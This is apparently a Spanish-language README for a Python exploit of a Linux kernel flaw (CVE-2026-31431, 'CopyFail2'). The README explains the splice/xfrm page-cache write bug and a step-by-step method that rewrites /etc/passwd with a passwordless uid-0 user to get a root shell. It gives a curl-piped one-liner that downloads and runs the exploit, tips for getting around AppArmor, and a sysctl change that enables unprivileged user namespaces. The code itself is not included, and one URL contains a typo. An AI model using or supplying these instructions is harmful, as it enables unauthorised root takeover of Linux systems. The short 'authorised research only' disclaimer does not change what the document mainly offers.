CopyFail2 (CVE-2026-31431) - Implementación en Python

Puerto en Python del exploit de kernel CopyFail2 que aprovecha la ruta rápida sin copy-on-write de MSG_SPLICE_PAGES en xfrm ESP-in-UDP para la escalada local de privilegios en Linux sin privilegios.

Reemplaza una entrada nologin/false en /etc/passwd con un usuario uid-0 sin contraseña y accede a una shell root mediante su.

Vulnerabilidad

El fallo del kernel reside en la ruta de splice UDP utilizada por la encapsulación xfrm ESP-in-UDP. splice() en un socket UDP con MSG_SPLICE_PAGES hace que las páginas se mapeen en la caché de páginas del receptor sin activar copy-on-write. Esto permite escribir en cualquier archivo actualmente mapeado en la caché de páginas, incluso si se abrió en modo solo lectura.

• Implementación original en C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
• Corrección upstream: netdev/net.git

Requisitos

• Kernel Linux >= 6.5 (soporte UDP de MSG_SPLICE_PAGES)
• libcrypto.so (OpenSSL)
• Python 3.8+
• CAP_NET_ADMIN o la capacidad de crear namespaces de usuario

Qué versión usar

Este repositorio proporciona dos variantes. Ambas producen el mismo resultado; elige según tus limitaciones.

Inicio rápido (optimizado)

# Una línea mediante pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Archivo guardado
python3 exploit.py

# Revertir cambios
python3 exploit.py --clean

Inicio rápido (crudo/referencia)

python3 exploit_raw.py
python3 exploit_raw.py --clean

En Ubuntu con apparmor_restrict_unprivileged_userns habilitado, guarda el archivo primero y ejecútalo desde disco; el modo pipe omite el baile de evasión de AppArmor.

curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Cómo funciona

1. Fuerza bruta un IV AES-GCM cuyo byte de flujo de claves aplica XOR al byte original de /etc/passwd para convertirlo en el valor deseado.
2. Instala un estado xfrm ESP-in-UDP local en 127.0.0.1:4500.
3. Crea un archivo de respaldo controlado por el atacante que contiene la cabecera ESP falsificada y el ICV.
4. Hace splice() de tres rangos (cabecera ESP, byte objetivo de /etc/passwd, ICV) en un pipe.
5. Hace splice() del pipe en el socket UDP, activando el fallo del kernel y escribiendo el byte en la caché de páginas.
6. Repite para cada byte diferente para sobrescribir una línea nologin/false con sick::0:0:...:/:/bin/bash.
7. su - sick accede a root (PAM nullok acepta contraseña vacía).

Probado

Solución de problemas

cannot acquire CAP_NET_ADMIN

Tu kernel puede tener kernel.unprivileged_userns_clone=0. Habilítalo:

sudo sysctl kernel.unprivileged_userns_clone=1

Si se ejecuta dentro de Docker, inicia el contenedor con --privileged o --cap-add=SYS_ADMIN.

Créditos

• Hyunwoo Kim (imv4bel) y Kuan-Ting Chen — descubrimiento y corrección upstream
• Steffen Klassert — mantenedor de IPsec, publicó la corrección
• Brad Spengler / grsecurity — acuñó el término "clase copyfail"
• Theori / Xint — Copy Fail original (CVE-2026-31431)
• Exploit C original de 0xdeadbeefnetwork
• Exploit Python de guiimoraes

Aviso legal

Esta herramienta se proporciona únicamente para investigación de seguridad autorizada y fines educativos. No la uses contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso o los daños causados por este software.